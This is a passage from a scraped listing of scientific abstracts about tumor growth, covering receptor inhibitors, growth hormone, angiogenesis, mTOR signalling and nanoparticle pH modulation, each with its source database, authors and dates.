IGF blockers inhibit ligand binding using a spectrum of mechanisms ranging from highly allosteric to purely competitive. Binding of IGF-1 or the inhibitory antibodies was associated with conformational changes in IGF-1R, linked to the ordering of dynamic or unstructured regions of the receptor. These results suggest IGF-1R uses disorder/order within its polypeptide sequence to regulate its activity. Interestingly, the activity of representative allosteric and competitive inhibitors on H322M tumor cell growth in vitro was reflective of their individual ligand-blocking properties. Many of the antibodies in the clinic likely adopt one of the inhibitory mechanisms described here, and the outcome of future clinical studies may reveal whether a particular inhibitory mechanism 12. SDF-1α mediates wound-promoted tumor growth in a syngeneic orthotopic mouse model of breast cancer. Directory of Open Access Journals (Sweden) Christina H Stuelten Full Text Available Increased growth of residual tumors in the proximity of acute surgical wounds has been reported; however, the mechanisms of wound-promoted tumor growth remain unknown. Here, we used a syngeneic, orthotopic mouse model of breast cancer to study mechanisms of wound-promoted tumor growth. Our results demonstrate that exposure of metastatic mouse breast cancer cells (4T1 to SDF-1α, which is increased in wound fluid, results in increased tumor growth. Both, wounding and exposure of 4T1 cells to SDF-1α not only increased tumor growth, but also tumor cell proliferation rate and stromal collagen deposition. Conversely, systemic inhibition of SDF-1α signaling with the small molecule AMD 3100 abolished the effect of wounding, and decreased cell proliferation, collagen deposition, and neoangiogenesis to the levels observed in control animals. Furthermore, using different mouse strains we could demonstrate that the effect of wounding on tumor growth and SDF-1α levels is host dependent and varies between mouse strains. Our results show that wound-promoted tumor growth is mediated by elevated SDF-1α levels and indicate that the effect of acute wounds on tumor growth depends on the predetermined wound response of the host background and its predetermined wound response. 13. Predicting the Probability of Abnormal Stimulated Growth Hormone Response in Children After Radiotherapy for Brain Tumors Energy Technology Data Exchange (ETDEWEB) Hua Chiaho, E-mail: Chia-Ho.Hua@stjude.org [Department of Radiological Sciences, St. Jude Children' s Research Hospital, Memphis, Tennessee (United States); Wu Shengjie [Department of Biostatistics, St. Jude Children' s Research Hospital, Memphis, Tennessee (United States); Chemaitilly, Wassim [Division of Endocrinology, Department of Pediatric Medicine, St. Jude Children' s Research Hospital, Memphis, Tennessee (United States); Lukose, Renin C.; Merchant, Thomas E. [Department of Radiological Sciences, St. Jude Children' s Research Hospital, Memphis, Tennessee (United States) 2012-11-15 Purpose: To develop a mathematical model utilizing more readily available measures than stimulation tests that identifies brain tumor survivors with high likelihood of abnormal growth hormone secretion after radiotherapy (RT), to avoid late recognition and a consequent delay in growth hormone replacement therapy. Methods and Materials: We analyzed 191 prospectively collected post-RT evaluations of peak growth hormone level (arginine tolerance/levodopa stimulation test), serum insulin-like growth factor 1 (IGF-1), IGF-binding protein 3, height, weight, growth velocity, and body mass index in 106 children and adolescents treated for ependymoma (n = 72), low-grade glioma (n = 28) or craniopharyngioma (n = 6), who had normal growth hormone levels before RT. Normal level in this study was defined as the peak growth hormone response to the stimulation test {>=}7 ng/mL. Results: Independent predictor variables identified by multivariate logistic regression with high statistical significance (p < 0.0001) included IGF-1 z score, weight z score, and hypothalamic dose. The developed predictive model demonstrated a strong discriminatory power with an area under the receiver operating characteristic curve of 0.883. At a potential cutoff point of probability of 0.3 the sensitivity was 80% and specificity 78%. Conclusions: Without unpleasant and expensive frequent stimulation tests, our model provides a quantitative approach to closely follow the growth hormone secretory capacity of brain tumor survivors. It allows identification of high-risk children for subsequent confirmatory tests and in-depth workup for diagnosis of growth hormone deficiency. 14. The effects of CO2 pneumoperitoneum on tumor growth in vivo Institute of Scientific and Technical Information of China (English) Zhang Jian; Wang Yaping; Zhang Airong; Zhang Ping 2008-01-01 Objective:The aim of this study is to evaluate the effect of CO2 pneumoper-itoneum on growth and spread of intraperitoneal tumor in an animal model.Methods:We estab-lished an animal model of epithelial ovarian cancer in immunocompetent rat Fischer 344.Twen-ty rats were randomized to two groups(10rats/group):CO2 insufflation and sham laparotomv.Tumors were excised from the rats in each group 28 days after operation.Ascites,tumor mass.local regional invasion incidence,lymph node involvement.and liver and lung metastases were evaluated.Sections of tumors were made and then the cell cycle fraction were measured by quantitating DNA in individual cells using flow cytometry analysis.The expressions of Ki-67.VEGF,and CD44v6 protein were determined using immunocytochemistry bv flow cytometry.Re-suits:Tumor mass,local regional invasion incidence and the amount of ascites were higher in CO2 insufflation than those in laparotomy,but there were no significant differences between two groups.The expression of CDd4v6 protein was higher in CO2 insufflation than that in laparotomv (P=0.002).There was no significant difference between two groups in the cells cvcle fraction and the expressiones of Ki-67 and VEGF protein.Conclusions:CO2 pneumoperitoneum has effects on intraperitoneal tumor growth and metastasis in the animal model. 15. Multiphase modeling and qualitative analysis of the growth of tumor cords CERN Document Server Tosin, Andrea 2009-01-01 In this paper a macroscopic model of tumor cord growth is developed, relying on the mathematical theory of deformable porous media. Tumor is modeled as a saturated mixture of proliferating cells, extracellular fluid and extracellular matrix, that occupies a spatial region close to a blood vessel whence cells get the nutrient needed for their vital functions. Growth of tumor cells takes place within a healthy host tissue, which is in turn modeled as a saturated mixture of non-proliferating cells. Interactions between these two regions are accounted for as an essential mechanism for the growth of the tumor mass. By weakening the role of the extracellular matrix, which is regarded as a rigid non-remodeling scaffold, a system of two partial differential equations is derived, describing the evolution of the cell volume ratio coupled to the dynamics of the nutrient, whose higher and lower concentration levels determine proliferation or death of tumor cells, respectively. Numerical simulations of a reference two-dim... 16. Expectant Management of Vestibular Schwannoma: A Retrospective Multivariate Analysis of Tumor Growth and Outcome OpenAIRE Hughes, Mark; Skilbeck, Christopher; Saeed, Shakeel; Bradford, Robert 2011-01-01 We conducted a retrospective observational study to assess the consequences of conservative management of vestibular schwannoma (VS). Data were collected from tertiary neuro-otological referral units in United Kingdom. The study included 59 patients who were managed conservatively with radiological diagnosis of VS. The main outcome measures were growth rate and rate of failure of conservative management. Multivariate analysis sought correlation between tumor growth and (i) demographic feature... 17. Phytochemical potential of Eruca sativa for inhibition of melanoma tumor growth. Science.gov (United States) Khoobchandani, M; Ganesh, N; Gabbanini, S; Valgimigli, L; Srivastava, M M 2011-06-01 Solvent extracts from the aerial and root parts and seed oil from E. sativa (rocket salad) were assayed for anticancer activity against melanoma cells. The seed oil (isothiocyanates rich) significantly (p<0.01) reduced the tumor growth comparable to the control. Remarkably, the seed oil inhibited melanoma growth and angiogenesis in mice without any major toxicity. The findings qualify seed oil for further investigations in the real of cancer prevention and treatment. 18. Butein Induces Apoptosis and Inhibits Prostate Tumor Growth In Vitro and In Vivo OpenAIRE Khan, Naghma; Adhami, Vaqar M.; Afaq, Farrukh; Mukhtar, Hasan 2012-01-01 Aim: Prostate cancer (PCa) is one of the most common cancers in men in the United States with similar trends worldwide. For several reasons, it is an ideal candidate disease for intervention with dietary botanical antioxidants. Indeed, many botanical antioxidants are showing promise for chemoprevention of PCa. Here, we determined the effect of an antioxidant butein (3,4,2′,4′-tetrahydroxychalone) on cell growth, apoptosis, and signaling pathways in human PCa cells in-vitro and on tumor growth... 19. A Peptide Antagonist of the ErbB1 Receptor Inhibits Receptor Activation, Tumor Cell Growth and Migration In Vitro and Xenograft Tumor Growth In Vivo Directory of Open Access Journals (Sweden) Ruodan Xu 2010-01-01 Full Text Available The epidermal growth factor family of receptor tyrosine kinases (ErbBs plays essential roles in tumorigenesis and cancer disease progression, and therefore has become an attractive target for structure-based drug design. ErbB receptors are activated by ligand-induced homo- and heterodimerization. Structural studies have revealed that ErbB receptor dimers are stabilized by receptor–receptor interactions, primarily mediated by a region in the second extracellular domain, termed the “dimerization arm”. The present study is the first biological characterization of a peptide, termed Inherbin3, which constitutes part of the dimerization arm of ErbB3. Inherbin3 binds to the extracellular domains of all four ErbB receptors, with the lowest peptide binding affinity for ErbB4. Inherbin3 functions as an antagonist of epidermal growth factor (EGF-ErbB1 signaling. We show that Inherbin3 inhibits EGF-induced ErbB1 phosphorylation, cell growth, and migration in two human tumor cell lines, A549 and HN5, expressing moderate and high ErbB1 levels, respectively. Furthermore, we show that Inherbin3 inhibits tumor growth in vivo and induces apoptosis in a tumor xenograft model employing the human non-small cell lung cancer cell line A549. The Inherbin3 peptide may be a useful tool for investigating the mechanisms of ErbB receptor homo- and heterodimerization. Moreover, the here described biological effects of Inherbin3 suggest that peptide-based targeting of ErbB receptor dimerization is a promising anti-cancer therapeutic strategy. 20. Preoperative serum levels of epidermal growth factor receptor, HER2, and vascular endothelial growth factor in malignant and benign ovarian tumors DEFF Research Database (Denmark) Dahl Steffensen, Karina; Waldstrøm, Marianne; Jeppesen, Ulla; 2008-01-01 Background: Epidermal growth factor receptors ([EGFRs]; EGFR/HER1 and ErbB2/HER2) and vascular endothelial growth factor (VEGF) are essential to tumor growth and angiogenesis. The aim of the present study was to investigate the serum levels of these potential biomarkers in benign, borderline......, and malignant ovarian tumors. Patients and Methods: Serum from 233 patients (75 serous ovarian/tubal/peritoneal cancers, 24 borderline tumors, 110 benign ovarian tumors, and 24 with normal ovaries) were analyzed for EGFR, HER2, and VEGF using commercially available enzyme-linked immunosorbent assays (ELISA... 1. Time until initiation of tumor growth is an effective measure of the anti-angiogenic effect of TNP-470 on human glioblastoma in nude mice DEFF Research Database (Denmark) Kragh, M; Spang-Thomsen, M; Kristjansen, P E 1999-01-01 , 11, or 15 days after inoculation. The time from inoculation until initiation of exponential tumor growth was determined along with the post-therapeutic growth delay and the initial tumor doubling time (TD) for each individual tumor (n=103) on the basis of tumor volume growth curves. We found that: i... 2. RAD001 enhances the potency of BEZ235 to inhibit mTOR signaling and tumor growth. Directory of Open Access Journals (Sweden) Beat Nyfeler Full Text Available The mammalian target of rapamycin (mTOR is regulated by oncogenic growth factor signals and plays a pivotal role in controlling cellular metabolism, growth and survival. Everolimus (RAD001 is an allosteric mTOR inhibitor that has shown marked efficacy in certain cancers but is unable to completely inhibit mTOR activity. ATP-competitive mTOR inhibitors such as NVP-BEZ235 can block rapamycin-insensitive mTOR readouts and have entered clinical development as anti-cancer agents. Here, we show the degree to which RAD001 and BEZ235 can be synergistically combined to inhibit mTOR pathway activation, cell proliferation and tumor growth, both in vitro and in vivo. RAD001 and BEZ235 synergized in cancer lines representing different lineages and genetic backgrounds. Strong synergy is seen in neuronal, renal, breast, lung, and haematopoietic cancer cells harboring abnormalities in PTEN, VHL, LKB1, Her2, or KRAS. Critically, in the presence of RAD001, the mTOR-4EBP1 pathway and tumorigenesis can be fully inhibited using lower doses of BEZ235. This is relevant since RAD001 is relatively well tolerated in patients while the toxicity profiles of ATP-competitive mTOR inhibitors are currently unknown. 3. Inhibition of vimentin or B1 integrin reverts morphology of prostate tumor cells grown in laminin-rich extracellular matrix gels and reduces tumor growth in vivo Energy Technology Data Exchange (ETDEWEB) Zhang, Xueping; Fournier, Marcia V; Ware, Joy L; Bissell, Mina J; Yacoub, Adly; Zehner, Zendra E 2008-06-12 Prostate epithelial cells grown embedded in laminin-rich extracellular matrix (lrECM) undergo morphologic changes that closely resemble their architecture in vivo. In this study, growth characteristics of three human prostate epithelial sublines derived from the same cellular lineage, but displaying different tumorigenic and metastatic properties in vivo, were assessed in three-dimensional lrECM gels. M12, a highly tumorigenic and metastatic subline, was derived from the immortalized, prostate epithelial P69 cell line by selection in athymic, nude mice and found to contain a deletion of 19p-q13.1. The stable reintroduction of an intact human chromosome 19 into M12 resulted in a poorly tumorigenic subline, designated F6. When embedded in lrECM gels, the parental, nontumorigenic P69 line produced acini with clearly defined lumena. Immunostaining with antibodies to {beta}-catenin, E-cadherin, or {alpha}6 and {beta}1 integrins showed polarization typical of glandular epithelium. In contrast, the metastatic M12 subline produced highly disorganized cells with no evidence of polarization. The F6 subline reverted to acini-like structures exhibiting basal polarity marked with integrins. Reducing either vimentin levels via small interfering RNA interference or the expression of {alpha}6 and {beta}1 integrins by the addition of blocking antibodies, reorganized the M12 subline into forming polarized acini. The loss of vimentin significantly reduced M12-Vim tumor growth when assessed by s.c. injection in athymic mice. Thus, tumorigenicity in vivo correlated with disorganized growth in three-dimensional lrECM gels. These studies suggest that the levels of vimentin and {beta}1 integrin play a key role in the homeostasis of the normal acinus in prostate and that their dysregulation may lead to tumorigenesis. [Mol Cancer Ther 2009;8(3):499-508]. 4. Growth Hormone Protects the Intestine Preserving Radiotherapy Efficacy on Tumors: A Short-Term Study. Directory of Open Access Journals (Sweden) Victor Caz 5. Inhibition of Tumor Growth in Mice by Endostatin Derived from Abdominal Transplanted Encapsulated Cells Institute of Scientific and Technical Information of China (English) Huaining TENG; Ying ZHANG; Wei WANG; Xiaojun MA; Jian FEI 2007-01-01 Endostatin, a C-terminal fragment of collagen 18a, inhibits the growth of established tumors and metastases in vivo by inhibiting angiogenesis. However, the purification procedures required for largescale production and the attendant cost of these processes, together with the low effectiveness in clinical tests, suggest that alternative delivery methods might be required for efficient therapeutic use of endostatin.In the present study, we transfected Chinese hamster ovary (CHO) cells with a human endostatin gene expression vector and encapsulated the CHO cells in alginate-poly-L-lysine microcapsules. The release of biologically active endostatin was confirmed using the chicken chorioallantoic membrane assay. The encapsulated endostatin-expressing CHO cells can inhibit the growth of primary tumors in a subcutaneous B16 tumor model when injected into the abdominal cavity of mouse. These results widen the clinical application of the microencapsulated cell endostatin delivery system in cancer treatment. 6. Clinical and Biochemical Characteristics of Growth Hormone-Secreting Pituitary Tumors Institute of Scientific and Technical Information of China (English) 2000-01-01 To investigate the difference of biochemical characteristics on gsp-positive and gsp-negative growth hormone (GH)-secreting pituitary tumors, 18 GH-secreting pituitary tumors were examined for their clinical characteristics and gsp oncogenes. All patients received the pituitary function combinative stimulating test. It was found that there were no difference in the sex, age, tumor size, course of disease and plasma basal GH levels with gsp- positive and gsp-negative patients. The plasma levels of PRL were increased in most patients (11/18), and the plasma levels of TSH in gsp-positive patients were higher than those in gsp-negative patients (P<0.05). There was no significant difference in the responses to pituitary combinative stimulating test in gsp-positive and gsp-negative patients. It was concluded that there was little difference in the clinical biochemical characteristics of gsp-positive with gsp-negative GH-secreting pituitary tumors. 7. Fluctuations induced extinction and stochastic resonance effect in a model of tumor growth with periodic treatment Energy Technology Data Exchange (ETDEWEB) Li Dongxi, E-mail: lidongxi@mail.nwpu.edu.c [Department of Applied Mathematics, Northwestern Polytechnical University, Xi' an 710072 (China); Xu Wei; Guo, Yongfeng; Xu Yong [Department of Applied Mathematics, Northwestern Polytechnical University, Xi' an 710072 (China) 2011-01-31 We investigate a stochastic model of tumor growth derived from the catalytic Michaelis-Menten reaction with positional and environmental fluctuations under subthreshold periodic treatment. Firstly, the influences of environmental fluctuations on the treatable stage are analyzed numerically. Applying the standard theory of stochastic resonance derived from the two-state approach, we derive the signal-to-noise ratio (SNR) analytically, which is used to measure the stochastic resonance phenomenon. It is found that the weak environmental fluctuations could induce the extinction of tumor cells in the subthreshold periodic treatment. The positional stability is better in favor of the treatment of the tumor cells. Besides, the appropriate and feasible treatment intensity and the treatment cycle should be highlighted considered in the treatment of tumor cells. 8. Enhanced tumor growth in the NaS1 sulfate transporter null mouse DEFF Research Database (Denmark) Dawson, Paul Anthony; Choyce, Allison; Chuang, Christine; 2010-01-01 Sulfate plays an important role in maintaining normal structure and function of tissues, and its content is decreased in certain cancers including lung carcinoma. In this study, we investigated tumor growth in a mouse model of hyposulfatemia (Nas1(-/-)) and compared it to wild-type (Nas1(+/+)) mi... 9. Mesenchymal Stem Cells Promote Pancreatic Tumor Growth by Inducing Alternative Polarization of Macrophages Directory of Open Access Journals (Sweden) Esha Mathew 2016-03-01 Significance: Targeting the stroma is emerging as a new paradigm in pancreatic cancer; however, efforts to that effect are hampered by our limited understanding of the nature and function of stromal components. Here, we uncover previously unappreciated heterogeneity within the stroma and identify interactions among stromal components that promote tumor growth and could be targeted therapeutically. 10. Pravastatin inhibits tumor growth through elevating the levels of apolipoprotein A1 Directory of Open Access Journals (Sweden) Chun Yeh 2016-03-01 Conclusion: This study demonstrated that pravastatin elevated ApoA1, an HDL major constituent with anti-inflammatory characteristics, which displayed strong adversary associations with tumor developments and growth. Increasing the amounts of ApoA1 by pravastatin coupled with DOX may improve the therapeutic efficacy for cancer treatment. 11. Walker 256 Tumor Growth Suppression by Crotoxin Involves Formyl Peptide Receptors and Lipoxin A4 Science.gov (United States) Brigatte, Patrícia; Faiad, Odair Jorge; Ferreira Nocelli, Roberta Cornélio; Landgraf, Richardt G.; Palma, Mario Sergio; Cury, Yara; Curi, Rui; Sampaio, Sandra Coccuzzo 2016-01-01 We investigated the effects of Crotoxin (CTX), the main toxin of South American rattlesnake (Crotalus durissus terrificus) venom, on Walker 256 tumor growth, the pain symptoms associated (hyperalgesia and allodynia), and participation of endogenous lipoxin A4. Treatment with CTX (s.c.), daily, for 5 days reduced tumor growth at the 5th day after injection of Walker 256 carcinoma cells into the plantar surface of adult rat hind paw. This observation was associated with inhibition of new blood vessel formation and decrease in blood vessel diameter. The treatment with CTX raised plasma concentrations of lipoxin A4 and its natural analogue 15-epi-LXA4, an effect mediated by formyl peptide receptors (FPRs). In fact, the treatment with Boc-2, an inhibitor of FPRs, abolished the increase in plasma levels of these mediators triggered by CTX. The blockage of these receptors also abolished the inhibitory action of CTX on tumor growth and blood vessel formation and the decrease in blood vessel diameter. Together, the results herein presented demonstrate that CTX increases plasma concentrations of lipoxin A4 and 15-epi-LXA4, which might inhibit both tumor growth and formation of new vessels via FPRs. PMID:27190493 12. Tumstatin transfected into human glioma cell line U251 represses tumor growth by inhibiting angiogenesis Institute of Scientific and Technical Information of China (English) YE Hong-xing; YAO Yu; JIANG Xin-jun; YUAN Xian-rui 2013-01-01 Background Angiogenesis is a prerequisite for tumor growth and plays an important role in rapidly growing tumors,such as malignant gliomas.A variety of factors controlling the angiogenic balance have been described,and among these,the endogenous inhibitor of angiogenesis,tumstatin,has drawn considerable attention.The current study investigated whether expression of tumstatin by glioma cells could alter this balance and prevent tumor formation.Methods We engineered stable transfectants from human glioma cell line U251 to constitutively secrete a human tumstatin protein with c-myc and polyhistidine tags.Production and secretion of the tumstatin-c-myc-His fusion protein by tumstatin-transfected cells were confirmed by Western blotting analysis.In the present study,we identify the anti-angiogenic capacity of tumstatin using several in vitro and in vivo assays.Student's t-test and one-way analysis of variance (ANOVA) test were used to determine the statistical significance in this study.Results The tumstatin transfectants and control transfectants (stably transfected with a control plasmid) had similar in vitro growth rates compared to their parental cell lines.However,the conditioned medium from the tumstatin transfected tumor cells significantly inhibits proliferation and causes apoptosis of endothelial cells.It also inhibits tube formation of endothelial cells on Matrigel.Examination of armpit tumors arising from cells overexpressing tumstatin repress the growth of tumor,accompanying the decreased density of CD31 positive vessels in tumors ((5.62±1.32)/HP),compared to the control-transfectants group ((23.84+1.71)/HP) and wild type U251 glioma cells group ((29.33+4.45)/HP).Conclusion Anti-angiogenic gene therapy using human tumstatin gene may be an effective strategy for the treatment of glioma. 13. Carnosine retards tumor growth in vivo in an NIH3T3-HER2/neu mouse model OpenAIRE Meixensberger Jürgen; Gebhardt Rolf; Hengstler Jan; Hermes Matthias; Geiger Kathrin D; Fuchs Beate; Zemitzsch Nadine; Renner Christof; Gaunitz Frank 2010-01-01 Abstract Background It was previously demonstrated that the dipeptide carnosine inhibits growth of cultured cells isolated from patients with malignant glioma. In the present work we investigated whether carnosine also affects tumor growth in vivo and may therefore be considered for human cancer therapy. Results A mouse model was used to investigate whether tumor growth in vivo can be inhibited by carnosine. Therefore, NIH3T3 fibroblasts, conditionally expressing the human epidermal growth fa... 14. Gps mutations in Chilean patients harboring growth hormone-secreting pituitary tumors. Science.gov (United States) Johnson, M C; Codner, E; Eggers, M; Mosso, L; Rodriguez, J A; Cassorla, F 1999-01-01 Hypersecretion of GH is usually caused by a pituitary adenoma and about 40% of these tumors exhibit missense gsp mutations in Arg201 or Gln227 of the Gs, gene. We studied 20 pituitary tumors obtained from patients with GH hypersecretion. One tumor was resected from an 11 year-old boy with a 3 year history of accelerated growth, associated with increased concentrations of serum GH and IGF-I, which were not suppressed by glucose administration. The remaining 19 tumors were obtained from adult acromegalic patients, who had elevated baseline serum GH levels that did not show evidence of suppression after administration of glucose. The gsp mutations were studied by enzymatic digestion of the amplified PCR fragment of exon 8 (Arg201) and exon 9 (Gln227) with the enzymes NlaIII and NgoAIV, respectively. The tumors obtained from the boy and from nine of the 19 patients with acromegaly exhibited the gsp mutation R201H. None of the tumors had the Gln227 mutation. The gsp positive patients tended to be older, had smaller tumors, and had preoperative basal serum GH levels which were significantly lower (21 +/- 6 vs 56 +/- 16 microg/l, pgigantism and in approximately half of 19 Chilean adult patients with acromegaly, similar to other populations. PMID:10821217 15. Monodispersed calcium carbonate nanoparticles modulate local pH and inhibit tumor growth in vivo Science.gov (United States) Som, Avik; Raliya, Ramesh; Tian, Limei; Akers, Walter; Ippolito, Joseph E.; Singamaneni, Srikanth; Biswas, Pratim; Achilefu, Samuel 2016-06-01 The acidic extracellular environment of tumors potentiates their aggressiveness and metastasis, but few methods exist to selectively modulate the extracellular pH (pHe) environment of tumors. Transient flushing of biological systems with alkaline fluids or proton pump inhibitors is impractical and nonselective. Here we report a nanoparticles-based strategy to intentionally modulate the pHe in tumors. Biochemical simulations indicate that the dissolution of calcium carbonate nanoparticles (nano-CaCO3) in vivo increases pH asymptotically to 7.4. We developed two independent facile methods to synthesize monodisperse non-doped vaterite nano-CaCO3 with distinct size range between 20 and 300 nm. Using murine models of cancer, we demonstrate that the selective accumulation of nano-CaCO3 in tumors increases tumor pH over time. The associated induction of tumor growth stasis is putatively interpreted as a pHe increase. This study establishes an approach to prepare nano-CaCO3 over a wide particle size range, a formulation that stabilizes the nanomaterials in aqueous solutions, and a pH-sensitive nano-platform capable of modulating the acidic environment of cancer for potential therapeutic benefits.The acidic extracellular environment of tumors potentiates their aggressiveness and metastasis, but few methods exist to selectively modulate the extracellular pH (pHe) environment of tumors. Transient flushing of biological systems with alkaline fluids or proton pump inhibitors is impractical and nonselective. Here we report a nanoparticles-based strategy to intentionally modulate the pHe in tumors. Biochemical simulations indicate that the dissolution of calcium carbonate nanoparticles (nano-CaCO3) in vivo increases pH asymptotically to 7.4. We developed two independent facile methods to synthesize monodisperse non-doped vaterite nano-CaCO3 with distinct size range between 20 and 300 nm. Using murine models of cancer, we demonstrate that the selective accumulation of nano-CaCO3 16. Occurrence of DNET and other brain tumors in Noonan syndrome warrants caution with growth hormone therapy. Science.gov (United States) McWilliams, Geoffrey D; SantaCruz, Karen; Hart, Blaine; Clericuzio, Carol 2016-01-01 Noonan syndrome (NS) is an autosomal dominant developmental disorder caused by mutations in the RAS-MAPK signaling pathway that is well known for its relationship with oncogenesis. An 8.1-fold increased risk of cancer in Noonan syndrome has been reported, including childhood leukemia and solid tumors. The same study found a patient with a dysembryoplastic neuroepithelial tumor (DNET) and suggested that DNET tumors are associated with NS. Herein we report an 8-year-old boy with genetically confirmed NS and a DNET. Literature review identified eight other reports, supporting the association between NS and DNETs. The review also ascertained 13 non-DNET brain tumors in individuals with NS, bringing to 22 the total number of NS patients with brain tumors. Tumor growth while receiving growth hormone (GH) occurred in our patient and one other patient. It is unknown whether the development or progression of tumors is augmented by GH therapy, however there is concern based on epidemiological, animal and in vitro studies. This issue was addressed in a 2015 Pediatric Endocrine Society report noting there is not enough data available to assess the safety of GH therapy in children with neoplasia-predisposition syndromes. The authors recommend that GH use in children with such disorders, including NS, be undertaken with appropriate surveillance for malignancies. Our case report and literature review underscore the association of NS with CNS tumors, particularly DNET, and call attention to the recommendation that clinicians treating NS patients with GH do so with awareness of the possibility of increased neoplasia risk. PMID:26377682 17. Inhibition of tumor vasculogenic mimicry and prolongation of host survival in highly aggressive gallbladder cancers by norcantharidin via blocking the ephrin type a receptor 2/focal adhesion kinase/paxillin signaling pathway. Directory of Open Access Journals (Sweden) Hui Wang Full Text Available Vasculogenic mimicry (VM is a newly-defined tumor microcirculation pattern in highly aggressive malignant tumors. We recently reported tumor growth and VM formation of gallbladder cancers through the contribution of the ephrin type a receptor 2 (EphA2/focal adhesion kinase (FAK/Paxillin signaling pathways. In this study, we further investigated the anti-VM activity of norcantharidin (NCTD as a VM inhibitor for gallbladder cancers and the underlying mechanisms. In vivo and in vitro experiments to determine the effects of NCTD on tumor growth, host survival, VM formation of GBC-SD nude mouse xenografts, and vasculogenic-like networks, malignant phenotypes i.e., proliferation, apoptosis, invasion and migration of GBC-SD cells. Expression of VM signaling-related markers EphA2, FAK and Paxillin in vivo and in vitro were examined by immunofluorescence, western blotting and real-time polymerase chain reaction (RT-PCR, respectively. The results showed that after treatment with NCTD, GBC-SD cells were unable to form VM structures when injecting into nude mouse, growth of the xenograft was inhibited and these observations were confirmed by facts that VM formation by three-dimensional (3-D matrix, proliferation, apoptosis, invasion, migration of GBC-SD cells were affected; and survival time of the xenograft mice was prolonged. Furthermore, expression of EphA2, FAK and Paxillin proteins/mRNAs of the xenografts was downregulated. Thus, we concluded that NCTD has potential anti-VM activity against human gallbladder cancers; one of the underlying mechanisms may be via blocking the EphA2/FAK/Paxillin signaling pathway. 18. Lysophosphatidic acid acyltransferase β (LPAATβ promotes the tumor growth of human osteosarcoma. Directory of Open Access Journals (Sweden) Farbod Rastegar Full Text Available BACKGROUND: Osteosarcoma is the most common primary malignancy of bone with poorly characterized molecular pathways important in its pathogenesis. Increasing evidence indicates that elevated lipid biosynthesis is a characteristic feature of cancer. We sought to investigate the role of lysophosphatidic acid acyltransferase β (LPAATβ, aka, AGPAT2 in regulating the proliferation and growth of human osteosarcoma cells. LPAATβ can generate phosphatidic acid, which plays a key role in lipid biosynthesis as well as in cell proliferation and survival. Although elevated expression of LPAATβ has been reported in several types of human tumors, the role of LPAATβ in osteosarcoma progression has yet to be elucidated. METHODOLOGY/PRINCIPAL FINDINGS: Endogenous expression of LPAATβ in osteosarcoma cell lines is analyzed by using semi-quantitative PCR and immunohistochemical staining. Adenovirus-mediated overexpression of LPAATβ and silencing LPAATβ expression is employed to determine the effect of LPAATβ on osteosarcoma cell proliferation and migration in vitro and osteosarcoma tumor growth in vivo. We have found that expression of LPAATβ is readily detected in 8 of the 10 analyzed human osteosarcoma lines. Exogenous expression of LPAATβ promotes osteosarcoma cell proliferation and migration, while silencing LPAATβ expression inhibits these cellular characteristics. We further demonstrate that exogenous expression of LPAATβ effectively promotes tumor growth, while knockdown of LPAATβ expression inhibits tumor growth in an orthotopic xenograft model of human osteosarcoma. CONCLUSIONS/SIGNIFICANCE: Our results strongly suggest that LPAATβ expression may be associated with the aggressive phenotypes of human osteosarcoma and that LPAATβ may play an important role in regulating osteosarcoma cell proliferation and tumor growth. Thus, targeting LPAATβ may be exploited as a novel therapeutic strategy for the clinical management of osteosarcoma. This 19. Somatostatin receptor-1 induces cell cycle arrest and inhibits tumor growth in pancreatic cancer. Science.gov (United States) Li, Min; Wang, Xiaochi; Li, Wei; Li, Fei; Yang, Hui; Wang, Hao; Brunicardi, F Charles; Chen, Changyi; Yao, Qizhi; Fisher, William E 2008-11-01 Functional somatostatin receptors (SSTR) are lost in human pancreatic cancer. Transfection of SSTR-1 inhibited pancreatic cancer cell proliferation in vitro. We hypothesize that stable transfection of SSTR-1 may inhibit pancreatic cancer growth in vivo possibly through cell cycle arrest. In this study, we examined the expression of SSTR-1 mRNA in human pancreatic cancer tissue specimens, and investigated the effect of SSTR-1 overexpression on cell proliferation, cell cycle, and tumor growth in a subcutaneous nude mouse model. We found that SSTR-1 mRNA was downregulated in the majority of pancreatic cancer tissue specimens. Transfection of SSTR-1 caused cell cycle arrest at the G(0)/G(1) growth phase, with a corresponding decline of cells in the S (mitotic) phase. The overexpression of SSTR-1 significantly inhibited subcutaneous tumor size by 71% and 43% (n = 5, P < 0.05, Student's t-test), and inhibited tumor weight by 69% and 47% (n = 5, P < 0.05, Student's t-test), in Panc-SSTR-1 and MIA-SSTR-1 groups, respectively, indicating the potent inhibitory effect of SSTR-1 on pancreatic cancer growth. Our data demonstrate that overexpression of SSTR-1 significantly inhibits pancreatic cancer growth possibly through cell cycle arrest. This study suggests that gene therapy with SSTR-1 may be a potential adjuvant treatment for pancreatic cancer. PMID:18823376 20. Somatostatin receptor-1 induces cell cycle arrest and inhibits tumor growth in pancreatic cancer. Science.gov (United States) Li, Min; Wang, Xiaochi; Li, Wei; Li, Fei; Yang, Hui; Wang, Hao; Brunicardi, F Charles; Chen, Changyi; Yao, Qizhi; Fisher, William E 2008-11-01 Functional somatostatin receptors (SSTR) are lost in human pancreatic cancer. Transfection of SSTR-1 inhibited pancreatic cancer cell proliferation in vitro. We hypothesize that stable transfection of SSTR-1 may inhibit pancreatic cancer growth in vivo possibly through cell cycle arrest. In this study, we examined the expression of SSTR-1 mRNA in human pancreatic cancer tissue specimens, and investigated the effect of SSTR-1 overexpression on cell proliferation, cell cycle, and tumor growth in a subcutaneous nude mouse model. We found that SSTR-1 mRNA was downregulated in the majority of pancreatic cancer tissue specimens. Transfection of SSTR-1 caused cell cycle arrest at the G(0)/G(1) growth phase, with a corresponding decline of cells in the S (mitotic) phase. The overexpression of SSTR-1 significantly inhibited subcutaneous tumor size by 71% and 43% (n = 5, P < 0.05, Student's t-test), and inhibited tumor weight by 69% and 47% (n = 5, P < 0.05, Student's t-test), in Panc-SSTR-1 and MIA-SSTR-1 groups, respectively, indicating the potent inhibitory effect of SSTR-1 on pancreatic cancer growth. Our data demonstrate that overexpression of SSTR-1 significantly inhibits pancreatic cancer growth possibly through cell cycle arrest. This study suggests that gene therapy with SSTR-1 may be a potential adjuvant treatment for pancreatic cancer. 1. Steering tumor progression through the transcriptional response to growth factors and stroma. Science.gov (United States) Feldman, Morris E; Yarden, Yosef 2014-08-01 Tumor progression can be understood as a collaborative effort of mutations and growth factors, which propels cell proliferation and matrix invasion, and also enables evasion of drug-induced apoptosis. Concentrating on EGFR, we discuss downstream signaling and the initiation of transcriptional events in response to growth factors. Specifically, we portray a wave-like program, which initiates by rapid disappearance of two-dozen microRNAs, followed by an abrupt rise of immediate early genes (IEGs), relatively short transcripts encoding 